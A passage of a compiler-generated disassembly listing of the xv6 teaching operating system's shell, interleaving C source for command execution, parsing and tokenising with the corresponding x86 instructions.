close(rcmd->fd);
86: 8b 45 f0 mov -0x10(%ebp),%eax
89: 8b 40 14 mov 0x14(%eax),%eax
8c: 83 ec 0c sub $0xc,%esp
8f: 50 push %eax
90: e8 7a 0e 00 00 call f0f <close>
95: 83 c4 10 add $0x10,%esp
if(open(rcmd->file, rcmd->mode) < 0){
98: 8b 45 f0 mov -0x10(%ebp),%eax
9b: 8b 50 10 mov 0x10(%eax),%edx
9e: 8b 45 f0 mov -0x10(%ebp),%eax
a1: 8b 40 08 mov 0x8(%eax),%eax
a4: 83 ec 08 sub $0x8,%esp
a7: 52 push %edx
a8: 50 push %eax
a9: e8 79 0e 00 00 call f27 <open>
ae: 83 c4 10 add $0x10,%esp
b1: 85 c0 test %eax,%eax
b3: 79 1e jns d3 <runcmd+0xd3>
printf(2, "open %s failed\n", rcmd->file);
b5: 8b 45 f0 mov -0x10(%ebp),%eax
b8: 8b 40 08 mov 0x8(%eax),%eax
bb: 83 ec 04 sub $0x4,%esp
be: 50 push %eax
bf: 68 2b 14 00 00 push $0x142b
c4: 6a 02 push $0x2
c6: e8 93 0f 00 00 call 105e <printf>
cb: 83 c4 10 add $0x10,%esp
exit();
ce: e8 14 0e 00 00 call ee7 <exit>
}
runcmd(rcmd->cmd);
d3: 8b 45 f0 mov -0x10(%ebp),%eax
d6: 8b 40 04 mov 0x4(%eax),%eax
d9: 83 ec 0c sub $0xc,%esp
dc: 50 push %eax
dd: e8 1e ff ff ff call 0 <runcmd>
e2: 83 c4 10 add $0x10,%esp
break;
e5: e9 5c 01 00 00 jmp 246 <runcmd+0x246>
case LIST:
lcmd = (struct listcmd*)cmd;
ea: 8b 45 08 mov 0x8(%ebp),%eax
ed: 89 45 ec mov %eax,-0x14(%ebp)
if(fork1() == 0)
f0: e8 d9 02 00 00 call 3ce <fork1>
f5: 85 c0 test %eax,%eax
f7: 75 12 jne 10b <runcmd+0x10b>
runcmd(lcmd->left);
f9: 8b 45 ec mov -0x14(%ebp),%eax
fc: 8b 40 04 mov 0x4(%eax),%eax
ff: 83 ec 0c sub $0xc,%esp
102: 50 push %eax
103: e8 f8 fe ff ff call 0 <runcmd>
108: 83 c4 10 add $0x10,%esp
wait();
10b: e8 df 0d 00 00 call eef <wait>
runcmd(lcmd->right);
110: 8b 45 ec mov -0x14(%ebp),%eax
113: 8b 40 08 mov 0x8(%eax),%eax
116: 83 ec 0c sub $0xc,%esp
119: 50 push %eax
11a: e8 e1 fe ff ff call 0 <runcmd>
11f: 83 c4 10 add $0x10,%esp
break;
122: e9 1f 01 00 00 jmp 246 <runcmd+0x246>
case PIPE:
pcmd = (struct pipecmd*)cmd;
127: 8b 45 08 mov 0x8(%ebp),%eax
12a: 89 45 e8 mov %eax,-0x18(%ebp)
if(pipe(p) < 0)
12d: 83 ec 0c sub $0xc,%esp
130: 8d 45 dc lea -0x24(%ebp),%eax
133: 50 push %eax
134: e8 be 0d 00 00 call ef7 <pipe>
139: 83 c4 10 add $0x10,%esp
13c: 85 c0 test %eax,%eax
13e: 79 10 jns 150 <runcmd+0x150>
panic("pipe");
140: 83 ec 0c sub $0xc,%esp
143: 68 3b 14 00 00 push $0x143b
148: e8 61 02 00 00 call 3ae <panic>
14d: 83 c4 10 add $0x10,%esp
if(fork1() == 0){
150: e8 79 02 00 00 call 3ce <fork1>
155: 85 c0 test %eax,%eax
157: 75 4c jne 1a5 <runcmd+0x1a5>
close(1);
159: 83 ec 0c sub $0xc,%esp
15c: 6a 01 push $0x1
15e: e8 ac 0d 00 00 call f0f <close>
163: 83 c4 10 add $0x10,%esp
dup(p[1]);
166: 8b 45 e0 mov -0x20(%ebp),%eax
169: 83 ec 0c sub $0xc,%esp
16c: 50 push %eax
16d: e8 ed 0d 00 00 call f5f <dup>
172: 83 c4 10 add $0x10,%esp
close(p[0]);
175: 8b 45 dc mov -0x24(%ebp),%eax
178: 83 ec 0c sub $0xc,%esp
17b: 50 push %eax
17c: e8 8e 0d 00 00 call f0f <close>
181: 83 c4 10 add $0x10,%esp
close(p[1]);
184: 8b 45 e0 mov -0x20(%ebp),%eax
187: 83 ec 0c sub $0xc,%esp
18a: 50 push %eax
18b: e8 7f 0d 00 00 call f0f <close>
190: 83 c4 10 add $0x10,%esp
runcmd(pcmd->left);
193: 8b 45 e8 mov -0x18(%ebp),%eax
196: 8b 40 04 mov 0x4(%eax),%eax
199: 83 ec 0c sub $0xc,%esp
19c: 50 push %eax
19d: e8 5e fe ff ff call 0 <runcmd>
1a2: 83 c4 10 add $0x10,%esp
}
if(fork1() == 0){
1a5: e8 24 02 00 00 call 3ce <fork1>
1aa: 85 c0 test %eax,%eax
1ac: 75 4c jne 1fa <runcmd+0x1fa>
close(0);
1ae: 83 ec 0c sub $0xc,%esp
1b1: 6a 00 push $0x0
1b3: e8 57 0d 00 00 call f0f <close>
1b8: 83 c4 10 add $0x10,%esp
dup(p[0]);
1bb: 8b 45 dc mov -0x24(%ebp),%eax
1be: 83 ec 0c sub $0xc,%esp
1c1: 50 push %eax
1c2: e8 98 0d 00 00 call f5f <dup>
1c7: 83 c4 10 add $0x10,%esp
close(p[0]);
1ca: 8b 45 dc mov -0x24(%ebp),%eax
1cd: 83 ec 0c sub $0xc,%esp
1d0: 50 push %eax
1d1: e8 39 0d 00 00 call f0f <close>
1d6: 83 c4 10 add $0x10,%esp
close(p[1]);
1d9: 8b 45 e0 mov -0x20(%ebp),%eax
1dc: 83 ec 0c sub $0xc,%esp
1df: 50 push %eax
1e0: e8 2a 0d 00 00 call f0f <close>
1e5: 83 c4 10 add $0x10,%esp
runcmd(pcmd->right);
1e8: 8b 45 e8 mov -0x18(%ebp),%eax
1eb: 8b 40 08 mov 0x8(%eax),%eax
1ee: 83 ec 0c sub $0xc,%esp
1f1: 50 push %eax
1f2: e8 09 fe ff ff call 0 <runcmd>
1f7: 83 c4 10 add $0x10,%esp
}
close(p[0]);
1fa: 8b 45 dc mov -0x24(%ebp),%eax
1fd: 83 ec 0c sub $0xc,%esp
200: 50 push %eax
201: e8 09 0d 00 00 call f0f <close>
206: 83 c4 10 add $0x10,%esp
close(p[1]);
209: 8b 45 e0 mov -0x20(%ebp),%eax
20c: 83 ec 0c sub $0xc,%esp
20f: 50 push %eax
210: e8 fa 0c 00 00 call f0f <close>
215: 83 c4 10 add $0x10,%esp
wait();
218: e8 d2 0c 00 00 call eef <wait>
wait();
21d: e8 cd 0c 00 00 call eef <wait>
break;
222: eb 22 jmp 246 <runcmd+0x246>
case BACK:
bcmd = (struct backcmd*)cmd;
224: 8b 45 08 mov 0x8(%ebp),%eax
227: 89 45 e4 mov %eax,-0x1c(%ebp)
if(fork1() == 0)
22a: e8 9f 01 00 00 call 3ce <fork1>
22f: 85 c0 test %eax,%eax
231: 75 12 jne 245 <runcmd+0x245>
runcmd(bcmd->cmd);
233: 8b 45 e4 mov -0x1c(%ebp),%eax
236: 8b 40 04 mov 0x4(%eax),%eax
239: 83 ec 0c sub $0xc,%esp
23c: 50 push %eax
23d: e8 be fd ff ff call 0 <runcmd>
242: 83 c4 10 add $0x10,%esp
break;
245: 90 nop
}
exit();
246: e8 9c 0c 00 00 call ee7 <exit>
0000024b <getcmd>:
}
int
getcmd(char *buf, int nbuf)
{
24b: 55 push %ebp
24c: 89 e5 mov %esp,%ebp
24e: 83 ec 08 sub $0x8,%esp
printf(2, "$ ");
251: 83 ec 08 sub $0x8,%esp
254: 68 58 14 00 00 push $0x1458
259: 6a 02 push $0x2
25b: e8 fe 0d 00 00 call 105e <printf>
260: 83 c4 10 add $0x10,%esp
memset(buf, 0, nbuf);
263: 8b 45 0c mov 0xc(%ebp),%eax
266: 83 ec 04 sub $0x4,%esp
269: 50 push %eax
26a: 6a 00 push $0x0
26c: ff 75 08 pushl 0x8(%ebp)
26f: e8 d8 0a 00 00 call d4c <memset>
274: 83 c4 10 add $0x10,%esp
gets(buf, nbuf);
277: 83 ec 08 sub $0x8,%esp
27a: ff 75 0c pushl 0xc(%ebp)
27d: ff 75 08 pushl 0x8(%ebp)
280: e8 14 0b 00 00 call d99 <gets>
285: 83 c4 10 add $0x10,%esp
if(buf[0] == 0) // EOF
288: 8b 45 08 mov 0x8(%ebp),%eax
28b: 0f b6 00 movzbl (%eax),%eax
28e: 84 c0 test %al,%al
290: 75 07 jne 299 <getcmd+0x4e>
return -1;
292: b8 ff ff ff ff mov $0xffffffff,%eax
297: eb 05 jmp 29e <getcmd+0x53>
return 0;
299: b8 00 00 00 00 mov $0x0,%eax
}
29e: c9 leave
29f: c3 ret
000002a0 <main>:
int
main(void)
{
2a0: 8d 4c 24 04 lea 0x4(%esp),%ecx
2a4: 83 e4 f0 and $0xfffffff0,%esp
2a7: ff 71 fc pushl -0x4(%ecx)
2aa: 55 push %ebp
2ab: 89 e5 mov %esp,%ebp
2ad: 51 push %ecx
2ae: 83 ec 14 sub $0x14,%esp
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
2b1: eb 16 jmp 2c9 <main+0x29>
if(fd >= 3){
2b3: 83 7d f4 02 cmpl $0x2,-0xc(%ebp)
2b7: 7e 10 jle 2c9 <main+0x29>
close(fd);
2b9: 83 ec 0c sub $0xc,%esp
2bc: ff 75 f4 pushl -0xc(%ebp)
2bf: e8 4b 0c 00 00 call f0f <close>
2c4: 83 c4 10 add $0x10,%esp
break;
2c7: eb 1b jmp 2e4 <main+0x44>
{
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
2c9: 83 ec 08 sub $0x8,%esp
2cc: 6a 02 push $0x2
2ce: 68 5b 14 00 00 push $0x145b
2d3: e8 4f 0c 00 00 call f27 <open>
2d8: 83 c4 10 add $0x10,%esp
2db: 89 45 f4 mov %eax,-0xc(%ebp)
2de: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2e2: 79 cf jns 2b3 <main+0x13>
#ifdef LIFO
printf(1, "Paging policy: LIFO\n");
#endif
#ifdef SCFIFO
printf(1, "Paging policy: SCFIFO\n");
2e4: 83 ec 08 sub $0x8,%esp
2e7: 68 63 14 00 00 push $0x1463
2ec: 6a 01 push $0x1
2ee: e8 6b 0d 00 00 call 105e <printf>
2f3: 83 c4 10 add $0x10,%esp
#ifdef NONE
printf(1, "Paging policy: NONE\n");
#endif
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
2f6: e9 94 00 00 00 jmp 38f <main+0xef>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
2fb: 0f b6 05 e0 19 00 00 movzbl 0x19e0,%eax
302: 3c 63 cmp $0x63,%al
304: 75 5f jne 365 <main+0xc5>
306: 0f b6 05 e1 19 00 00 movzbl 0x19e1,%eax
30d: 3c 64 cmp $0x64,%al
30f: 75 54 jne 365 <main+0xc5>
311: 0f b6 05 e2 19 00 00 movzbl 0x19e2,%eax
318: 3c 20 cmp $0x20,%al
31a: 75 49 jne 365 <main+0xc5>
// Clumsy but will have to do for now.
// Chdir has no effect on the parent if run in the child.
buf[strlen(buf)-1] = 0; // chop \n
31c: 83 ec 0c sub $0xc,%esp
31f: 68 e0 19 00 00 push $0x19e0
324: e8 fc 09 00 00 call d25 <strlen>
329: 83 c4 10 add $0x10,%esp
32c: 83 e8 01 sub $0x1,%eax
32f: c6 80 e0 19 00 00 00 movb $0x0,0x19e0(%eax)
if(chdir(buf+3) < 0)
336: b8 e3 19 00 00 mov $0x19e3,%eax
33b: 83 ec 0c sub $0xc,%esp
33e: 50 push %eax
33f: e8 13 0c 00 00 call f57 <chdir>
344: 83 c4 10 add $0x10,%esp
347: 85 c0 test %eax,%eax
349: 79 44 jns 38f <main+0xef>
printf(2, "cannot cd %s\n", buf+3);
34b: b8 e3 19 00 00 mov $0x19e3,%eax
350: 83 ec 04 sub $0x4,%esp
353: 50 push %eax
354: 68 7a 14 00 00 push $0x147a
359: 6a 02 push $0x2
35b: e8 fe 0c 00 00 call 105e <printf>
360: 83 c4 10 add $0x10,%esp
continue;
363: eb 2a jmp 38f <main+0xef>
}
if(fork1() == 0)
365: e8 64 00 00 00 call 3ce <fork1>
36a: 85 c0 test %eax,%eax
36c: 75 1c jne 38a <main+0xea>
runcmd(parsecmd(buf));
36e: 83 ec 0c sub $0xc,%esp
371: 68 e0 19 00 00 push $0x19e0
376: e8 ab 03 00 00 call 726 <parsecmd>
37b: 83 c4 10 add $0x10,%esp
37e: 83 ec 0c sub $0xc,%esp
381: 50 push %eax
382: e8 79 fc ff ff call 0 <runcmd>
387: 83 c4 10 add $0x10,%esp
wait();
38a: e8 60 0b 00 00 call eef <wait>
#ifdef NONE
printf(1, "Paging policy: NONE\n");
#endif
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
38f: 83 ec 08 sub $0x8,%esp
392: 6a 64 push $0x64
394: 68 e0 19 00 00 push $0x19e0
399: e8 ad fe ff ff call 24b <getcmd>
39e: 83 c4 10 add $0x10,%esp
3a1: 85 c0 test %eax,%eax
3a3: 0f 89 52 ff ff ff jns 2fb <main+0x5b>
}
if(fork1() == 0)
runcmd(parsecmd(buf));
wait();
}
exit();
3a9: e8 39 0b 00 00 call ee7 <exit>
000003ae <panic>:
}
void
panic(char *s)
{
3ae: 55 push %ebp
3af: 89 e5 mov %esp,%ebp
3b1: 83 ec 08 sub $0x8,%esp
printf(2, "%s\n", s);
3b4: 83 ec 04 sub $0x4,%esp
3b7: ff 75 08 pushl 0x8(%ebp)
3ba: 68 88 14 00 00 push $0x1488
3bf: 6a 02 push $0x2
3c1: e8 98 0c 00 00 call 105e <printf>
3c6: 83 c4 10 add $0x10,%esp
exit();
3c9: e8 19 0b 00 00 call ee7 <exit>
000003ce <fork1>:
}
int
fork1(void)
{
3ce: 55 push %ebp
3cf: 89 e5 mov %esp,%ebp
3d1: 83 ec 18 sub $0x18,%esp
int pid;
pid = fork();
3d4: e8 06 0b 00 00 call edf <fork>
3d9: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid == -1)
3dc: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
3e0: 75 10 jne 3f2 <fork1+0x24>
panic("fork");
3e2: 83 ec 0c sub $0xc,%esp
3e5: 68 8c 14 00 00 push $0x148c
3ea: e8 bf ff ff ff call 3ae <panic>
3ef: 83 c4 10 add $0x10,%esp
return pid;
3f2: 8b 45 f4 mov -0xc(%ebp),%eax
}
3f5: c9 leave
3f6: c3 ret
000003f7 <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
3f7: 55 push %ebp
3f8: 89 e5 mov %esp,%ebp
3fa: 83 ec 18 sub $0x18,%esp
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
3fd: 83 ec 0c sub $0xc,%esp
400: 6a 54 push $0x54
402: e8 2a 0f 00 00 call 1331 <malloc>
407: 83 c4 10 add $0x10,%esp
40a: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
40d: 83 ec 04 sub $0x4,%esp
410: 6a 54 push $0x54
412: 6a 00 push $0x0
414: ff 75 f4 pushl -0xc(%ebp)
417: e8 30 09 00 00 call d4c <memset>
41c: 83 c4 10 add $0x10,%esp
cmd->type = EXEC;
41f: 8b 45 f4 mov -0xc(%ebp),%eax
422: c7 00 01 00 00 00 movl $0x1,(%eax)
return (struct cmd*)cmd;
428: 8b 45 f4 mov -0xc(%ebp),%eax
}
42b: c9 leave
42c: c3 ret
0000042d <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
42d: 55 push %ebp
42e: 89 e5 mov %esp,%ebp
430: 83 ec 18 sub $0x18,%esp
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
433: 83 ec 0c sub $0xc,%esp
436: 6a 18 push $0x18
438: e8 f4 0e 00 00 call 1331 <malloc>
43d: 83 c4 10 add $0x10,%esp
440: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
443: 83 ec 04 sub $0x4,%esp
446: 6a 18 push $0x18
448: 6a 00 push $0x0
44a: ff 75 f4 pushl -0xc(%ebp)
44d: e8 fa 08 00 00 call d4c <memset>
452: 83 c4 10 add $0x10,%esp
cmd->type = REDIR;
455: 8b 45 f4 mov -0xc(%ebp),%eax
458: c7 00 02 00 00 00 movl $0x2,(%eax)
cmd->cmd = subcmd;
45e: 8b 45 f4 mov -0xc(%ebp),%eax
461: 8b 55 08 mov 0x8(%ebp),%edx
464: 89 50 04 mov %edx,0x4(%eax)
cmd->file = file;
467: 8b 45 f4 mov -0xc(%ebp),%eax
46a: 8b 55 0c mov 0xc(%ebp),%edx
46d: 89 50 08 mov %edx,0x8(%eax)
cmd->efile = efile;
470: 8b 45 f4 mov -0xc(%ebp),%eax
473: 8b 55 10 mov 0x10(%ebp),%edx
476: 89 50 0c mov %edx,0xc(%eax)
cmd->mode = mode;
479: 8b 45 f4 mov -0xc(%ebp),%eax
47c: 8b 55 14 mov 0x14(%ebp),%edx
47f: 89 50 10 mov %edx,0x10(%eax)
cmd->fd = fd;
482: 8b 45 f4 mov -0xc(%ebp),%eax
485: 8b 55 18 mov 0x18(%ebp),%edx
488: 89 50 14 mov %edx,0x14(%eax)
return (struct cmd*)cmd;
48b: 8b 45 f4 mov -0xc(%ebp),%eax
}
48e: c9 leave
48f: c3 ret
00000490 <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
490: 55 push %ebp
491: 89 e5 mov %esp,%ebp
493: 83 ec 18 sub $0x18,%esp
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
496: 83 ec 0c sub $0xc,%esp
499: 6a 0c push $0xc
49b: e8 91 0e 00 00 call 1331 <malloc>
4a0: 83 c4 10 add $0x10,%esp
4a3: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
4a6: 83 ec 04 sub $0x4,%esp
4a9: 6a 0c push $0xc
4ab: 6a 00 push $0x0
4ad: ff 75 f4 pushl -0xc(%ebp)
4b0: e8 97 08 00 00 call d4c <memset>
4b5: 83 c4 10 add $0x10,%esp
cmd->type = PIPE;
4b8: 8b 45 f4 mov -0xc(%ebp),%eax
4bb: c7 00 03 00 00 00 movl $0x3,(%eax)
cmd->left = left;
4c1: 8b 45 f4 mov -0xc(%ebp),%eax
4c4: 8b 55 08 mov 0x8(%ebp),%edx
4c7: 89 50 04 mov %edx,0x4(%eax)
cmd->right = right;
4ca: 8b 45 f4 mov -0xc(%ebp),%eax
4cd: 8b 55 0c mov 0xc(%ebp),%edx
4d0: 89 50 08 mov %edx,0x8(%eax)
return (struct cmd*)cmd;
4d3: 8b 45 f4 mov -0xc(%ebp),%eax
}
4d6: c9 leave
4d7: c3 ret
000004d8 <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
4d8: 55 push %ebp
4d9: 89 e5 mov %esp,%ebp
4db: 83 ec 18 sub $0x18,%esp
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
4de: 83 ec 0c sub $0xc,%esp
4e1: 6a 0c push $0xc
4e3: e8 49 0e 00 00 call 1331 <malloc>
4e8: 83 c4 10 add $0x10,%esp
4eb: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
4ee: 83 ec 04 sub $0x4,%esp
4f1: 6a 0c push $0xc
4f3: 6a 00 push $0x0
4f5: ff 75 f4 pushl -0xc(%ebp)
4f8: e8 4f 08 00 00 call d4c <memset>
4fd: 83 c4 10 add $0x10,%esp
cmd->type = LIST;
500: 8b 45 f4 mov -0xc(%ebp),%eax
503: c7 00 04 00 00 00 movl $0x4,(%eax)
cmd->left = left;
509: 8b 45 f4 mov -0xc(%ebp),%eax
50c: 8b 55 08 mov 0x8(%ebp),%edx
50f: 89 50 04 mov %edx,0x4(%eax)
cmd->right = right;
512: 8b 45 f4 mov -0xc(%ebp),%eax
515: 8b 55 0c mov 0xc(%ebp),%edx
518: 89 50 08 mov %edx,0x8(%eax)
return (struct cmd*)cmd;
51b: 8b 45 f4 mov -0xc(%ebp),%eax
}
51e: c9 leave
51f: c3 ret
00000520 <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
520: 55 push %ebp
521: 89 e5 mov %esp,%ebp
523: 83 ec 18 sub $0x18,%esp
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
526: 83 ec 0c sub $0xc,%esp
529: 6a 08 push $0x8
52b: e8 01 0e 00 00 call 1331 <malloc>
530: 83 c4 10 add $0x10,%esp
533: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
536: 83 ec 04 sub $0x4,%esp
539: 6a 08 push $0x8
53b: 6a 00 push $0x0
53d: ff 75 f4 pushl -0xc(%ebp)
540: e8 07 08 00 00 call d4c <memset>
545: 83 c4 10 add $0x10,%esp
cmd->type = BACK;
548: 8b 45 f4 mov -0xc(%ebp),%eax
54b: c7 00 05 00 00 00 movl $0x5,(%eax)
cmd->cmd = subcmd;
551: 8b 45 f4 mov -0xc(%ebp),%eax
554: 8b 55 08 mov 0x8(%ebp),%edx
557: 89 50 04 mov %edx,0x4(%eax)
return (struct cmd*)cmd;
55a: 8b 45 f4 mov -0xc(%ebp),%eax
}
55d: c9 leave
55e: c3 ret
0000055f <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
55f: 55 push %ebp
560: 89 e5 mov %esp,%ebp
562: 83 ec 18 sub $0x18,%esp
char *s;
int ret;
s = *ps;
565: 8b 45 08 mov 0x8(%ebp),%eax
568: 8b 00 mov (%eax),%eax
56a: 89 45 f4 mov %eax,-0xc(%ebp)
while(s < es && strchr(whitespace, *s))
56d: eb 04 jmp 573 <gettoken+0x14>
s++;
56f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
{
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
573: 8b 45 f4 mov -0xc(%ebp),%eax
576: 3b 45 0c cmp 0xc(%ebp),%eax
579: 73 1e jae 599 <gettoken+0x3a>
57b: 8b 45 f4 mov -0xc(%ebp),%eax
57e: 0f b6 00 movzbl (%eax),%eax
581: 0f be c0 movsbl %al,%eax
584: 83 ec 08 sub $0x8,%esp
587: 50 push %eax
588: 68 a8 19 00 00 push $0x19a8
58d: e8 d4 07 00 00 call d66 <strchr>
592: 83 c4 10 add $0x10,%esp
595: 85 c0 test %eax,%eax
597: 75 d6 jne 56f <gettoken+0x10>
s++;
if(q)
599: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
59d: 74 08 je 5a7 <gettoken+0x48>
*q = s;
59f: 8b 45 10 mov 0x10(%ebp),%eax
5a2: 8b 55 f4 mov -0xc(%ebp),%edx
5a5: 89 10 mov %edx,(%eax)
ret = *s;
5a7: 8b 45 f4 mov -0xc(%ebp),%eax
5aa: 0f b6 00 movzbl (%eax),%eax
5ad: 0f be c0 movsbl %al,%eax
5b0: 89 45 f0 mov %eax,-0x10(%ebp)
switch(*s){
5b3: 8b 45 f4 mov -0xc(%ebp),%eax
5b6: 0f b6 00 movzbl (%eax),%eax
5b9: 0f be c0 movsbl %al,%eax
5bc: 83 f8 29 cmp $0x29,%eax
5bf: 7f 14 jg 5d5 <gettoken+0x76>
5c1: 83 f8 28 cmp $0x28,%eax
5c4: 7d 28 jge 5ee <gettoken+0x8f>
5c6: 85 c0 test %eax,%eax
5c8: 0f 84 94 00 00 00 je 662 <gettoken+0x103>
5ce: 83 f8 26 cmp $0x26,%eax
5d1: 74 1b je 5ee <gettoken+0x8f>
5d3: eb 3a jmp 60f <gettoken+0xb0>
5d5: 83 f8 3e cmp $0x3e,%eax
5d8: 74 1a je 5f4 <gettoken+0x95>
5da: 83 f8 3e cmp $0x3e,%eax
5dd: 7f 0a jg 5e9 <gettoken+0x8a>
5df: 83 e8 3b sub $0x3b,%eax
5e2: 83 f8 01 cmp $0x1,%eax
5e5: 77 28 ja 60f <gettoken+0xb0>
5e7: eb 05 jmp 5ee <gettoken+0x8f>
5e9: 83 f8 7c cmp $0x7c,%eax
5ec: 75 21 jne 60f <gettoken+0xb0>
case '(':
case ')':
case ';':
case '&':
case '<':
s++;
5ee: 83 45 f4 01 addl $0x1,-0xc(%ebp)
break;
5f2: eb 75 jmp 669 <gettoken+0x10a>
case '>':
s++;
5f4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(*s == '>'){
5f8: 8b 45 f4 mov -0xc(%ebp),%eax
5fb: 0f b6 00 movzbl (%eax),%eax
5fe: 3c 3e cmp $0x3e,%al
600: 75 63 jne 665 <gettoken+0x106>
ret = '+';
602: c7 45 f0 2b 00 00 00 movl $0x2b,-0x10(%ebp)
s++;
609: 83 45 f4 01 addl $0x1,-0xc(%ebp)
}
break;
60d: eb 56 jmp 665 <gettoken+0x106>
default:
ret = 'a';
60f: c7 45 f0 61 00 00 00 movl $0x61,-0x10(%ebp)
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
616: eb 04 jmp 61c <gettoken+0xbd>
s++;
618: 83 45 f4 01 addl $0x1,-0xc(%ebp)
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
61c: 8b 45 f4 mov -0xc(%ebp),%eax
61f: 3b 45 0c cmp 0xc(%ebp),%eax
622: 73 44 jae 668 <gettoken+0x109>
624: 8b 45 f4 mov -0xc(%ebp),%eax
627: 0f b6 00 movzbl (%eax),%eax
62a: 0f be c0 movsbl %al,%eax
62d: 83 ec 08 sub $0x8,%esp
630: 50 push %eax
631: 68 a8 19 00 00 push $0x19a8
636: e8 2b 07 00 00 call d66 <strchr>
63b: 83 c4 10 add $0x10,%esp
63e: 85 c0 test %eax,%eax
640: 75 26 jne 668 <gettoken+0x109>
642: 8b 45 f4 mov -0xc(%ebp),%eax
645: 0f b6 00 movzbl (%eax),%eax
648: 0f be c0 movsbl %al,%eax
64b: 83 ec 08 sub $0x8,%esp
64e: 50 push %eax
64f: 68 b0 19 00 00 push $0x19b0
654: e8 0d 07 00 00 call d66 <strchr>
659: 83 c4 10 add $0x10,%esp
65c: 85 c0 test %eax,%eax
65e: 74 b8 je 618 <gettoken+0xb9>
s++;
break;
660: eb 06 jmp 668 <gettoken+0x109>
if(q)
*q = s;
ret = *s;
switch(*s){
case 0:
break;
662: 90 nop
663: eb 04 jmp 669 <gettoken+0x10a>
s++;
if(*s == '>'){
ret = '+';
s++;
}
break;
665: 90 nop
666: eb 01 jmp 669 <gettoken+0x10a>
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
668: 90 nop
}
if(eq)
669: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
66d: 74 0e je 67d <gettoken+0x11e>
*eq = s;
66f: 8b 45 14 mov 0x14(%ebp),%eax
672: 8b 55 f4 mov -0xc(%ebp),%edx
675: 89 10 mov %edx,(%eax)
while(s < es && strchr(whitespace, *s))
677: eb 04 jmp 67d <gettoken+0x11e>
s++;
679: 83 45 f4 01 addl $0x1,-0xc(%ebp)
break;
}
if(eq)
*eq = s;
while(s < es && strchr(whitespace, *s))
67d: 8b 45 f4 mov -0xc(%ebp),%eax
680: 3b 45 0c cmp 0xc(%ebp),%eax
683: 73 1e jae 6a3 <gettoken+0x144>
685: 8b 45 f4 mov -0xc(%ebp),%eax
688: 0f b6 00 movzbl (%eax),%eax
68b: 0f be c0 movsbl %al,%eax
68e: 83 ec 08 sub $0x8,%esp
691: 50 push %eax
692: 68 a8 19 00 00 push $0x19a8
697: e8 ca 06 00 00 call d66 <strchr>
69c: 83 c4 10 add $0x10,%esp
69f: 85 c0 test %eax,%eax
6a1: 75 d6 jne 679 <gettoken+0x11a>
s++;
*ps = s;
6a3: 8b 45 08 mov 0x8(%ebp),%eax
6a6: 8b 55 f4 mov -0xc(%ebp),%edx
6a9: 89 10 mov %edx,(%eax)
return ret;
6ab: 8b 45 f0 mov -0x10(%ebp),%eax
}
6ae: c9 leave
6af: c3 ret
000006b0 <peek>:
int
peek(char **ps, char *es, char *toks)
{
6b0: 55 push %ebp
6b1: 89 e5 mov %esp,%ebp
6b3: 83 ec 18 sub $0x18,%esp
char *s;
s = *ps;
6b6: 8b 45 08 mov 0x8(%ebp),%eax
6b9: 8b 00 mov (%eax),%eax
6bb: 89 45 f4 mov %eax,-0xc(%ebp)
while(s < es && strchr(whitespace, *s))
6be: eb 04 jmp 6c4 <peek+0x14>
s++;
6c0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
peek(char **ps, char *es, char *toks)
{
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
6c4: 8b 45 f4 mov -0xc(%ebp),%eax
6c7: 3b 45 0c cmp 0xc(%ebp),%eax
6ca: 73 1e jae 6ea <peek+0x3a>
6cc: 8b 45 f4 mov -0xc(%ebp),%eax
6cf: 0f b6 00 movzbl (%eax),%eax
6d2: 0f be c0 movsbl %al,%eax
6d5: 83 ec 08 sub $0x8,%esp
6d8: 50 push %eax
6d9: 68 a8 19 00 00 push $0x19a8
6de: e8 83 06 00 00 call d66 <strchr>
6e3: 83 c4 10 add $0x10,%esp
6e6: 85 c0 test %eax,%eax
6e8: 75 d6 jne 6c0 <peek+0x10>
s++;
*ps = s;
6ea: 8b 45 08 mov 0x8(%ebp),%eax
6ed: 8b 55 f4 mov -0xc(%ebp),%edx
6f0: 89 10 mov %edx,(%eax)
return *s && strchr(toks, *s);
6f2: 8b 45 f4 mov -0xc(%ebp),%eax
6f5: 0f b6 00 movzbl (%eax),%eax
6f8: 84 c0 test %al,%al
6fa: 74 23 je 71f <peek+0x6f>
